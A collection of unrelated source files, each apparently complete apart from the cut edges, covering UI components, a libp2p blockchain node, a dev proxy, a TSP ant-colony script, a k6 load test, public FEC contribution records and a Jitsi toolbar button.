else if (event.changedTouches && event.changedTouches.length > 0) {
return {
x: event.changedTouches[0].screenX,
y: event.changedTouches[0].screenY,
};
}
else if (event.screenX && event.screenY) {
return { x: event.screenX, y: event.screenY };
}
else {
return undefined;
}
}
|
// @flow
import * as React from 'react'
import {Meta} from '../../../../common-adapters'
import {globalColors, platformStyles, styleSheetCreate} from '../../../../styles'
import {formatDurationShort} from '../../../../util/timestamp'
export const ExplodingMeta = ({
explodingModeSeconds,
isNew,
}: {
explodingModeSeconds: number,
isNew: boolean,
}) => {
if (explodingModeSeconds === 0 && !isNew) {
// nothing to show
return null
}
return (
<Meta
backgroundColor={explodingModeSeconds === 0 ? globalColors.blue : globalColors.black_75_on_white}
noUppercase={explodingModeSeconds !== 0}
style={styles.newBadge}
size="Small"
title={explodingModeSeconds === 0 ? 'New' : formatDurationShort(explodingModeSeconds * 1000)}
/>
)
}
const styles = styleSheetCreate({
newBadge: platformStyles({
common: {
borderColor: globalColors.white,
borderRadius: 3,
borderStyle: 'solid',
borderWidth: 1,
paddingBottom: 1,
paddingTop: 1,
},
isElectron: {
cursor: 'pointer',
marginLeft: -11,
marginTop: -6,
},
isMobile: {
marginLeft: -5,
marginTop: -1,
height: 15,
},
}),
})
|
"use strict";
var __importStar = (this && this.__importStar) || function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k in mod) if (Object.hasOwnProperty.call(mod, k)) result[k] = mod[k];
result["default"] = mod;
return result;
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
const vr = __importStar(require("vreath"));
const handshake_1 = __importDefault(require("../app/routes/handshake"));
const tx_routes = __importStar(require("../app/routes/tx"));
const block_routes = __importStar(require("../app/routes/block"));
const chain_routes = __importStar(require("../app/routes/chain"));
const unit_routes = __importStar(require("../app/routes/unit"));
const finalize_routes = __importStar(require("../app/routes/finalize"));
const request_tx_1 = __importDefault(require("../app/repl/request-tx"));
const get_block_1 = __importDefault(require("../app/repl/get_block"));
const get_chain_info_1 = __importDefault(require("../app/repl/get_chain_info"));
const output_chain_1 = __importDefault(require("../app/repl/output_chain"));
const balance_1 = __importDefault(require("../app/repl/balance"));
const remittance_1 = __importDefault(require("../app/repl/remittance"));
const data = __importStar(require("../logic/data"));
const intervals = __importStar(require("../logic/interval"));
const util_1 = require("util");
const fs = __importStar(require("fs"));
const path = __importStar(require("path"));
const repl = __importStar(require("repl"));
const readline_sync_1 = __importDefault(require("readline-sync"));
const crypto_js_1 = __importDefault(require("crypto-js"));
const P = __importStar(require("p-iteration"));
const PeerInfo = require('peer-info');
const PeerId = require('peer-id');
const Multiaddr = require('multiaddr');
const libp2p = require('libp2p');
const TCP = require('libp2p-tcp');
const WS = require('libp2p-websockets');
const SPDY = require('libp2p-spdy');
const MPLEX = require('libp2p-mplex');
const SECIO = require('libp2p-secio');
const MulticastDNS = require('libp2p-mdns');
const Bootstrap = require('libp2p-bootstrap');
const pull = require('pull-stream');
const toStream = require('pull-stream-to-stream');
const search_ip = require('ip');
const mapMuxers = (list) => {
return list.map((pref) => {
if (typeof pref !== 'string') {
return pref;
}
switch (pref.trim().toLowerCase()) {
case 'spdy': return SPDY;
case 'mplex': return MPLEX;
default:
throw new Error(pref + ' muxer not available');
}
});
};
const getMuxers = (muxers) => {
const muxerPrefs = process.env.LIBP2P_MUXER;
if (muxerPrefs && !muxers) {
return mapMuxers(muxerPrefs.split(','));
}
else if (muxers) {
return mapMuxers(muxers);
}
else {
return [MPLEX, SPDY];
}
};
class Node extends libp2p {
constructor(_peerinfo, _muxer, _bootstrapList) {
const option = {
modules: {
transport: [
TCP,
WS
],
streamMuxer: getMuxers(_muxer),
connEncryption: [SECIO],
peerDiscovery: [
MulticastDNS,
Bootstrap
]
},
config: {
peerDiscovery: {
mdns: {
interval: 10000,
enabled: false
},
bootstrap: {
interval: 10000,
enabled: false,
list: _bootstrapList
}
},
dht: {
kBucketSize: 20
}
},
peerInfo: _peerinfo
};
super(option);
}
}
exports.Node = Node;
exports.run = async (config, log) => {
const trie_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/trie`));
const state_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/state`));
const lock_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/lock`));
const block_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/block`));
const chain_info_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/chain_info`));
const tx_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/tx_pool`));
const output_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/output`));
const root_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/root`));
const unit_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/unit_store`));
const peer_list_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/peer_list`));
const uniter_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/uniter`));
const finalize_db = data.make_db_obj(path.join(__dirname, `../db/net_id_${data.id}/finalize`));
const my_password = readline_sync_1.default.question('Your password:', { hideEchoBack: true, defaultInput: 'password' });
const my_key = vr.crypto.get_sha256(Buffer.from(my_password, 'utf-8').toString('hex')).slice(0, 122);
const get_private = fs.readFileSync('./keys/private/' + my_key + '.txt', 'utf-8');
const private_key = crypto_js_1.default.AES.decrypt(get_private, my_key).toString(crypto_js_1.default.enc.Utf8);
const peer_id = await util_1.promisify(PeerId.createFromJSON)(config.peer);
const peer_info = new PeerInfo(peer_id);
const ip = search_ip.address();
peer_info.multiaddrs.add(`/ip4/${ip}/tcp/5577`);
const bootstrapList = JSON.parse(Buffer.from(await util_1.promisify(fs.readFile)(path.join(__dirname, '../genesis_peers.json'), 'utf-8')).toString());
const peer_address_list = bootstrapList.map(peer => `${peer.multiaddrs[0]}/p2p/${peer.identity.id}`);
await P.forEach(bootstrapList, async (peer) => {
await peer_list_db.write_obj(Buffer.from(peer.identity.id).toString('hex'), peer);
});
await peer_list_db.del(Buffer.from(config.peer.id).toString('hex'));
let info = await chain_info_db.read_obj('00');
if (info == null)
throw new Error('chain_info is empty');
info.syncing = false;
await chain_info_db.write_obj("00", info);
const node = new Node(peer_info, ['spdy', 'mplex'], peer_address_list);
node.start((err) => {
exports.node_handles(node, private_key, config, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, unit_db, peer_list_db, finalize_db, uniter_db, log);
exports.run_intervals(node, private_key, config, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, unit_db, peer_list_db, finalize_db, uniter_db, log);
exports.accept_repl(node, private_key, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, tx_db, peer_list_db, log);
});
};
exports.node_handles = (node, private_key, config, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, unit_db, peer_list_db, finalize_db, uniter_db, log) => {
node.on('peer:connect', (peerInfo) => {
try {
const ids = new PeerInfo(PeerId.createFromB58String(peerInfo.id._idB58String));
const id_obj = {
id: ids.id._idB58String,
privKey: ids.id._privKey,
pubKey: ids.id._pubKey
};
const multiaddrs = peerInfo.multiaddrs.toArray().map((add) => Multiaddr(add.buffer).toString());
const peer_obj = {
identity: id_obj,
multiaddrs: multiaddrs
};
peer_list_db.write_obj(Buffer.from(peer_obj.identity.id).toString('hex'), peer_obj);
}
catch (e) {
log.info(e);
}
});
node.on('peer:disconnect', (peerInfo) => {
try {
const ids = new PeerInfo(PeerId.createFromB58String(peerInfo.id._idB58String));
const id = ids.id._idB58String;
peer_list_db.del(Buffer.from(id).toString('hex'));
}
catch (e) {
log.info(e);
}
});
node.handle(`/vreath/${data.id}/handshake`, (protocol, conn) => {
const stream = toStream(conn);
let data = [];
stream.on('data', (msg) => {
try {
if (msg != null && msg.length > 0) {
const str = msg.toString('utf-8');
if (str != 'end')
data.push(str);
else {
const res = data.reduce((json, str) => json + str, '');
handshake_1.default(res, peer_list_db, config.peer.id, node, log);
data = [];
stream.end();
}
}
}
catch (e) {
log.info(e);
}
});
stream.on('error', (e) => {
log.info(e);
});
});
node.handle(`/vreath/${data.id}/tx/post`, (protocol, conn) => {
let data = [];
pull(conn, pull.drain((msg) => {
try {
if (msg != null && msg.length > 0) {
const str = msg.toString('utf-8');
if (str != 'end')
data.push(str);
else {
const res = data.reduce((json, str) => json + str, '');
tx_routes.post(Buffer.from(res, 'utf-8'), chain_info_db, root_db, trie_db, tx_db, block_db, state_db, lock_db, output_db, log);
data = [];
}
}
}
catch (e) {
log.info(e);
}
}));
});
node.handle(`/vreath/${data.id}/block/get`, async (protocol, conn) => {
pull(conn, pull.drain((msg) => {
try {
block_routes.get(msg, node, block_db, log);
}
catch (e) {
log.info(e);
}
}));
});
node.handle(`/vreath/${data.id}/block/post`, (protocol, conn) => {
let data = [];
chain_info_db.read_obj('00').then((info) => {
if (info == null)
throw new Error('chain_info is empty');
const syncing = info.syncing;
if (syncing)
throw new Error('syncing now');
pull(conn, pull.drain((msg) => {
try {
if (msg != null && msg.length > 0) {
const str = msg.toString('utf-8');
if (str != 'end')
data.push(str);
else {
const res = data.reduce((json, str) => json + str, '');
block_routes.post(Buffer.from(res, 'utf-8'), chain_info_db, root_db, trie_db, block_db, state_db, lock_db, tx_db, peer_list_db, finalize_db, uniter_db, private_key, node, log);
data = [];
}
}
}
catch (e) {
log.info(e);
}
}));
}).catch((e) => { log.info(e); });
});
node.handle(`/vreath/${data.id}/chain/get`, (protocol, conn) => {
try {
const stream = toStream(conn);
let data = [];
stream.on('data', (msg) => {
try {
if (msg != null && msg.length > 0) {
const str = msg.toString('utf-8');
if (str != 'end1')
data.push(str);
else {
const res = data.reduce((json, str) => json + str, '');
const hashes = JSON.parse(res);
chain_routes.get(hashes, stream, chain_info_db, block_db, output_db, log);
data = [];
}
}
}
catch (e) {
log.info(e);
stream.end();
}
});
stream.on('error', (e) => {
log.info(e);
stream.end();
});
}
catch (e) {
log.info(e);
}
});
/*node.handle(`/vreath/${data.id}/chain/post`, (protocol:string, conn:string) => {
pull(
conn,
pull.drain((msg:Buffer)=>{
try{
chain_routes.post(msg.toString('utf-8'),block_db,finalize_db,uniter_db,chain_info_db,root_db,trie_db,state_db,lock_db,tx_db,peer_list_db,private_key,node,log);
}
catch(e){
log.info(e);
}
})
)
});*/
node.handle(`/vreath/${data.id}/unit/post`, async (protocol, conn) => {
pull(conn, pull.drain((msg) => {
try {
unit_routes.post(msg, block_db, chain_info_db, root_db, trie_db, state_db, unit_db, log);
}
catch (e) {
log.info(e);
}
}));
});
node.handle(`/vreath/${data.id}/finalize/post`, (protocol, conn) => {
let data = [];
pull(conn, pull.drain((msg) => {
try {
if (msg != null && msg.length > 0) {
const str = msg.toString('utf-8');
if (str != 'end')
data.push(str);
else {
const res = data.reduce((json, str) => json + str, '');
finalize_routes.post(Buffer.from(res, 'utf-8'), block_db, uniter_db, root_db, trie_db, state_db, finalize_db, log);
data = [];
}
}
}
catch (e) {
log.info(e);
}
}));
});
node.on('error', (err) => {
log.info(err);
});
};
exports.run_intervals = (node, private_key, config, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, unit_db, peer_list_db, finalize_db, uniter_db, log) => {
intervals.shake_hands(node, peer_list_db, log);
intervals.get_new_chain(private_key, node, peer_list_db, chain_info_db, block_db, finalize_db, uniter_db, root_db, trie_db, state_db, lock_db, tx_db, log);
if (config.validator.flag) {
intervals.staking(private_key, node, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, peer_list_db, finalize_db, uniter_db, log);
intervals.buying_unit(private_key, config, node, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, unit_db, peer_list_db, log);
}
if (config.miner.flag) {
intervals.refreshing(private_key, config, node, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, output_db, tx_db, peer_list_db, log);
intervals.making_unit(private_key, config, node, chain_info_db, root_db, trie_db, block_db, state_db, unit_db, peer_list_db, log);
}
};
exports.accept_repl = (node, private_key, chain_info_db, root_db, trie_db, block_db, state_db, lock_db, tx_db, peer_list_db, log) => {
const replServer = repl.start({ prompt: '>', terminal: true });
const send_tx = async (tx) => {
await peer_list_db.filter('hex', 'utf8', async (key, peer) => {
const peer_id = await util_1.promisify(PeerId.createFromJSON)(peer.identity);
const peer_info = new PeerInfo(peer_id);
peer.multiaddrs.forEach(add => peer_info.multiaddrs.add(add));
node.dialProtocol(peer_info, `/vreath/${data.id}/tx/post`, (err, conn) => {
if (err) {
log.info(err);
}
pull(pull.values([JSON.stringify([tx, []]), 'end']), conn);
});
return false;
});
};
replServer.defineCommand('request-tx', {
help: 'Create request tx',
async action(input) {
const tx = await request_tx_1.default(input, private_key, chain_info_db, root_db, trie_db, state_db, lock_db, tx_db);
if (tx == null)
console.log('fail to create valid req-tx');
else {
await send_tx(tx);
}
}
});
replServer.defineCommand('balance', {
help: 'Show your VRT balance',
async action() {
const balance = await balance_1.default(private_key, chain_info_db, root_db, trie_db, state_db);
console.log(balance);
}
});
replServer.defineCommand('get-block', {
help: 'Show the block specified by height',
async action(input) {
const block = await get_block_1.default(input, block_db);
console.log(JSON.stringify(block, null, 4));
}
});
replServer.defineCommand('get-chain-info', {
help: 'Show the chain info',
async action() {
const pub_key = vr.crypto.private2public(private_key);
const native_address = vr.crypto.generate_address(vr.con.constant.native, pub_key);
const unit_address = vr.crypto.generate_address(vr.con.constant.unit, pub_key);
const info = await get_chain_info_1.default(chain_info_db, root_db, trie_db, state_db, native_address, unit_address);
console.log(JSON.stringify(info, null, 4));
}
});
replServer.defineCommand('output-chain', {
help: 'output chain as zip of json files',
async action() {
await output_chain_1.default(chain_info_db, block_db);
}
});
replServer.defineCommand('remittance', {
help: 'remit your VRT',
async action(input) {
const tx = await remittance_1.default(input, private_key, chain_info_db, root_db, trie_db, state_db, lock_db, tx_db);
if (tx == null)
console.log('fail to remit VRT');
else {
await send_tx(tx);
}
}
});
};
|
const proxy = require('http-proxy-middleware');
module.exports = function(app) {
app.use('/File', proxy({
target: 'https://lite.aoaoao.me',
changeOrigin: true,
onProxyReq (proxyReq, req) {
// 将本地请求的头信息复制一遍给代理。
// 包含cookie信息,这样就能用登录后的cookie请求相关资源
Object.keys(req.headers).forEach(function (key) {
proxyReq.setHeader(key, req.headers[key])
})
},
onProxyRes (proxyRes, req, res) {
// 将服务器返回的头信息,复制一遍给本地请求的响应。
// 这样就能实现 执行完登录后,本地的返回请求中也有相关cookie,从而实现登录功能代理。
Object.keys(proxyRes.headers).forEach(function (key) {
res.append(key, proxyRes.headers[key])
})
}
}));
app.use('/static/js/uploader', proxy({
target: 'https://lite.aoaoao.me',
changeOrigin: true,
}));
app.use('/static/js/uploader', proxy({
target: 'https://lite.aoaoao.me',
changeOrigin: true,
}));
app.use('/Member', proxy({
target: 'https://lite.aoaoao.me',
changeOrigin: true,
}));
}; |
bubble_tea_flavours = [
['Honeydew', 'Mango', 'Passion Fruit'],
['Peach', 'Plum', 'Strawberry', 'Taro'],
['Kiwi', 'Chocolate']
]
# print(len(bubble_tea_flavours))
# print(bubble_tea_flavours[0])
# print(bubble_tea_flavours[1])
# print(bubble_tea_flavours[-1])
# print(len(bubble_tea_flavours[0]))
# print(len(bubble_tea_flavours[1]))
# print(bubble_tea_flavours[1][2])
# print(bubble_tea_flavours[0][0])
# print(bubble_tea_flavours[2][1])
all_flavours = []
for flavour_pack in bubble_tea_flavours:
for flavour in flavour_pack:
all_flavours.append(flavour)
print(all_flavours)
|
import { validate } from "uuid";
import {
getArtwork,
getArtworksByArtist,
getArtworkBySlug,
} from "$queries/artworks";
import { getArtworkTransactions } from "$queries/transactions";
import { hbp } from "$lib/api";
export async function get({ headers, locals, params }) {
try {
let { slug } = params;
let { q } = locals;
let artwork;
if (validate(slug)) {
({ artworks_by_pk: artwork } = await q(getArtwork, { id: slug }));
} else {
let { artworks } = await q(getArtworkBySlug, { slug });
artwork = artworks[0];
}
if (!artwork) return { status: 500 };
let { artworks: others } = await q(getArtworksByArtist, { id: artwork.artist_id });
others = others.filter((a) => a.id !== artwork.id).slice(0, 3);
return {
body: {
artwork,
others,
},
headers,
};
} catch (e) {
console.log(e);
return {};
}
}
|
import React,{useState} from 'react';
import { Route, Redirect} from 'react-router-dom';
import Auth from 'utils/auth';
import {SIGNIN,CURRENT_USER} from 'utils/constants';
import {Grid} from '@material-ui/core';
import CircularProgress from '@material-ui/core/CircularProgress';
function ProtectedRoute({component:Component, ...rest})
{
const [usr,getUsr] = useState({});
const [isLoading,setLoading] = useState(true);
Auth.getApp().auth().onAuthStateChanged(function(user) {
getUsr(user);
setLoading(false);
});
return isLoading ?
<Grid
container
alignItems="center"
justify="center"
style={{minHeight: "100vh"}}
>
<CircularProgress color="primary" />
</Grid>
: <Route
{...rest}
render={
(props)=>(
usr!==null ?
<Component {...props}/>
:
<Redirect to={SIGNIN}/>
)
}
/>
}
export default ProtectedRoute; |
"""
ATT48 is a set of 48 cities (US state capitals) from TSPLIB. The minimal tour has length 33523.
Data from:
https://people.sc.fsu.edu/~jburkardt/datasets/tsp/tsp.html
"""
import numpy as np
import time
import matplotlib.pyplot as plt
from problem_utils import parse
import sys; sys.path.append('..')
import antco
OPTIMAL_PATH = [
1, 8, 38, 31, 44, 18, 7, 28, 6, 37, 19, 27, 17, 43, 30, 36, 46, 33, 20, 47, 21, 32, 39, 48, 5,
42, 24, 10, 45, 35, 4, 26, 2, 29, 34, 41, 16, 22, 3, 23, 14, 25, 13, 11, 12, 15, 40, 9]
OPTIMAL_PATH = [val - 1 for val in OPTIMAL_PATH]
class MinDistance(antco.optim.ObjectiveFunction):
""" Definition of the objectiveFunction function to be maximised. """
def __init__(self, cost_matrix: np.ndarray, objectiveFunc: callable):
self._cost_matrix = cost_matrix
self._objective = objectiveFunc
def evaluate(self, ant: antco.Ant):
""" Length of the route taken by the ant. """
if not ant.is_valid:
return 0.0
return self._objective(self.getVisitedNodes(ant), self._cost_matrix)
def objective(nodes: list, cost_matrix: np.ndarray):
cost_ = 0.0
for i in range(1, len(nodes)):
cost_ += cost_matrix[nodes[i - 1], nodes[i]]
return cost_ * -1 # Transform to minimisation problem
# Load distance matrix
distance_matrix = parse('data/att48.tsp')
n_nodes = distance_matrix.shape[0]
# Optimal solution
optimal_value = -1*objective(OPTIMAL_PATH, distance_matrix)
# Create the graph that will be explored (Densely connected undirected graph)
adjacency_matrix = np.ones(shape=(n_nodes, n_nodes))
np.fill_diagonal(adjacency_matrix, 0)
# Algorithm parameters
n_ants = 100
elite_size = 20
graph_type = 'undirected'
iterations = 1_000
evaporation = 0.05
alpha = 1.0
beta = 1.0
pheromone_init = 20.0
seed = 1997
tol = 200
n_jobs = 2
pheromone_update = {'strategy': 'as', 'weight': 0.1, 'graph_type': graph_type}
aco_obj = MinDistance(distance_matrix, objective)
# Create ACO instance
colony = antco.ACO(
n_ants=n_ants, graph=adjacency_matrix, heuristic=-1*distance_matrix, objective=aco_obj,
iterations=iterations, graph_type=graph_type, evaporation=evaporation,
alpha=alpha, beta=beta, pheromone_init=pheromone_init, path_limits=(n_nodes-1, n_nodes),
pheromone_update=pheromone_update, n_jobs=n_jobs, seed=seed, tol=tol,
scaleScores=antco.tools.MinMaxScaler(max_val=2.0, max_historic=True))
# Pre-process ACO instance
antco.preproc.apply(colony, scale_heuristic={'min_val': 0.0, 'max_val': 1.0})
# Run algorithm
print(f'\nNumber of cities: {n_nodes}\n')
start = time.time()
report = antco.algorithm.bagOfAnts(colony, bag_size=elite_size, out_of_bag_size=elite_size//2)
end = time.time()
print('\nTotal time: %.5f' % (end - start))
# Evaluate best solution (The score given by the cost function is multiplied by -1 since the cost
# function will give us the negative value)
best_solution_distance = aco_obj.evaluate(report.best_solution['ant']) * -1
print('\nLength of the path: %.4f (Optimal length: %.4f)\n' % (best_solution_distance, optimal_value))
# Save convergence results
antco.graphics.branchingFactor(report, save_plot='./convergence/att48_BoA_BF.png')
plt.show()
antco.graphics.convergence(
report, title='\nSolution %.4f (Optimal %.4f)\n' % (best_solution_distance, optimal_value),
save_plot='./convergence/att48_BoA_Convergence.png')
plt.show()
|
/**
* directive.diBackstrecth Module
*
* Description
*/
angular.module('directive.diBackstrecth', [
'service.Device'
])
.directive('diBackstrecth', [
'Device',
function(
Device
){
var Backstrecth = {};
Backstrecth.restrict = 'A';
Backstrecth.scope = true;
Backstrecth.replace = true;
Backstrecth.link = function link(scope, element, attrs) {
$(element).backstretch([
'http://rna.com.s3.amazonaws.com/yeswemarry/home-sliding-images/sliding1.JPG',
'http://rna.com.s3.amazonaws.com/yeswemarry/home-sliding-images/sliding2.JPG',
'http://rna.com.s3.amazonaws.com/yeswemarry/home-sliding-images/sliding3.JPG',
'http://rna.com.s3.amazonaws.com/yeswemarry/home-sliding-images/sliding4.JPG'
], {duration: 3000, fade: 750, centeredY: false});
if (Device.device) {
$(element).addClass('ra-mobile-backstretch');
} else {
$(element).removeClass('ra-mobile-backstretch');
}
};
return Backstrecth;
}]); |
import http from 'k6/http';
import { sleep, check } from 'k6';
import { Counter } from 'k6/metrics';
// A simple counter for http requests
export const requests = new Counter('http_reqs');
// you can specify stages of your test (ramp up/down patterns) through the options object
// target is the number of VUs you are aiming for
export const options = {
stages: [
{ target: 20, duration: '1m' },
{ target: 15, duration: '1m' },
{ target: 0, duration: '1m' },
],
thresholds: {
requests: ['count < 100'],
},
};
export default function () {
// our HTTP request, note that we are saving the response to res, which can be accessed later
const res = http.get('http://frontend:8080/index.html');
sleep(1);
const checkRes = check(res, {
'status is 200': (r) => r.status === 200,
'response body': (r) => r.body.indexOf('Feel free to browse') !== -1,
});
} |
''' The most basic way to interact with the public api.
'''
import robin_stocks.gemini as g
response, error = g.get_pubticker("cheese")
if error:
print("there was an error!")
print("the response status code is ", response.status_code)
print("the reponse json is ", response.json())
print("let's try that again")
response, error = g.get_pubticker("btcusd")
if not error:
print("it worked this time!")
print(response)
print(response.json())
print("i don't care about raw response anymore, let's get json by default! This will apply to all functions from now on.")
g.set_default_json_flag(True)
response, error = g.get_pubticker("btcusd")
print("reponse is the json format now!")
print(response)
print("you can also set whether you want the json format directly for each function by passing in jsonify")
response, error = g.get_pubticker("btcusd", jsonify=False)
print("this function is back to raw response")
print(response)
|
(function ($, Drupal, drupalSettings) {
Drupal.behaviors.webdirAddPeopleField = {
attach: function (context, settings) {
// Check if there are directory type fields.
if ($(context).find('.asurite-add-people').length) {
$('.asurite-add-people').each(function (index) {
// Convert and check the default values.
initialize_tree();
let search_timeout = null;
$(".field--name-field-people-search input").keyup(function () {
var value = this.value;
if (value.length >= 2) {
clearTimeout(search_timeout);
search_timeout = setTimeout(function () {
// Populate the tree
searchPeople(value);
}, 500);
}
else {
// Empty the results.
}
});
});
}
}
};
// Create the asurite id checkboxes.
function initialize_tree() {
$('#asurite-add-people-options') // listen for event
.jstree({
'core': {
'data': [],
'themes': { dots: false },
'check_callback': true,
},
types: {
"person": {
"icon": "fa fa-user"
},
"dept": {
"icon": "fa fa-bookmark"
},
"default": {
}
},
"plugins": ["types"]
});
}
function searchPeople(queryString) {
var query = "?query=" + queryString + "&size=20";
$.getJSON("/endpoint/search-staff" + query, function (json) {
if (json.results.length > 0) {
var d = [];
json.results.forEach(el => {
let p = {};
p.id = el.asurite_id.raw;
p.parent = '#';
p.text = el.display_name.raw + ', ' + el.asurite_id.raw;
p.type = 'person';
// Departments.
if (typeof el.deptids !== 'undefined' &&
el.deptids.raw !== null &&
el.deptids.raw.length > 0
) {
el.deptids.raw.forEach(function (dt, index) {
let child = {};
child.id = el.asurite_id.raw + ':' + dt;
child.parent = el.asurite_id.raw;
child.text = el.titles.raw[index] + ', ' + el.departments.raw[index];
child.type = 'dept';
d.push(child);
});
}
d.push(p);
});
}
update_tree(d);
});
}
// Create the asurite id checkboxes.
function update_tree(json) {
// Get existing data.
$('#asurite-add-people-options').jstree(true).settings.core.data = json;
$('#asurite-add-people-options').jstree(true).refresh();
}
})(jQuery, Drupal, drupalSettings);
|
import React from "react";
import RecordContext from "./record-context";
export default function RecordProvider(props) {
const recordContext = {
items: [],
uploads: [],
};
return (
<RecordContext.Provider value={recordContext}>
{props.children}
</RecordContext.Provider>
);
}
|
mycallback( {"CONTRIBUTOR OCCUPATION": "VICE PRESIDENT", "CONTRIBUTION AMOUNT (F3L Bundled)": "115.38", "ELECTION CODE": "", "MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "MASSACHUSETTS MUTUAL LIFE INS.", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "10 CRESCENT HL", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "MA", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "ANNE", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20110430", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "P/R Deduction ($57.69 Bi-Weekly)", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00118943", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "KANDILIS", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "011051915", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "IND", "CONTRIBUTOR CITY": "SPRINGFIELD", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "PR791348021948", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "15", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727305.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "MS.", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "461.52", "FORM TYPE": "SA11ai"});
mycallback( {"CONTRIBUTOR OCCUPATION": "VICE PRESIDENT", "CONTRIBUTION AMOUNT (F3L Bundled)": "115.38", "ELECTION CODE": "", "MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "MASSACHUSETTS MUTUAL LIFE INS.", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "10 CRESCENT HL", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "MA", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "ANNE", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20110430", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "P/R Deduction ($57.69 Bi-Weekly)", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00118943", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "KANDILIS", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "011051915", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "IND", "CONTRIBUTOR CITY": "SPRINGFIELD", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "PR791348021948", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "15", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727305.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "MS.", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "461.52", "FORM TYPE": "SA11ai"});
|
// @flow
import {
ACTION_SHORTCUT_TRIGGERED,
AUDIO_MUTE,
createShortcutEvent,
sendAnalytics
} from '../../analytics';
import { translate } from '../../base/i18n';
import { MEDIA_TYPE } from '../../base/media';
import { connect } from '../../base/redux';
import { AbstractAudioMuteButton } from '../../base/toolbox/components';
import type { AbstractButtonProps } from '../../base/toolbox/components';
import { isLocalTrackMuted } from '../../base/tracks';
import { muteLocal } from '../../remote-video-menu/actions';
import { hasAvailableDevices } from '../../base/devices';
import { getLocalParticipant } from '../../base/participants';
declare var APP: Object;
/**
* The type of the React {@code Component} props of {@link AudioMuteButton}.
*/
type Props = AbstractButtonProps & {
/**
* Whether audio is currently muted or not.
*/
_audioMuted: boolean,
/**
* Whether the button is disabled.
*/
_disabled: boolean,
/**
* The redux {@code dispatch} function.
*/
dispatch: Function
}
/**
* Component that renders a toolbar button for toggling audio mute.
*
* @extends AbstractAudioMuteButton
*/
class AudioMuteButton extends AbstractAudioMuteButton<Props, *> {
accessibilityLabel = 'toolbar.accessibilityLabel.mute';
label = 'toolbar.mute';
tooltip = 'toolbar.mute';
/**
* Initializes a new {@code AudioMuteButton} instance.
*
* @param {Props} props - The read-only React {@code Component} props with
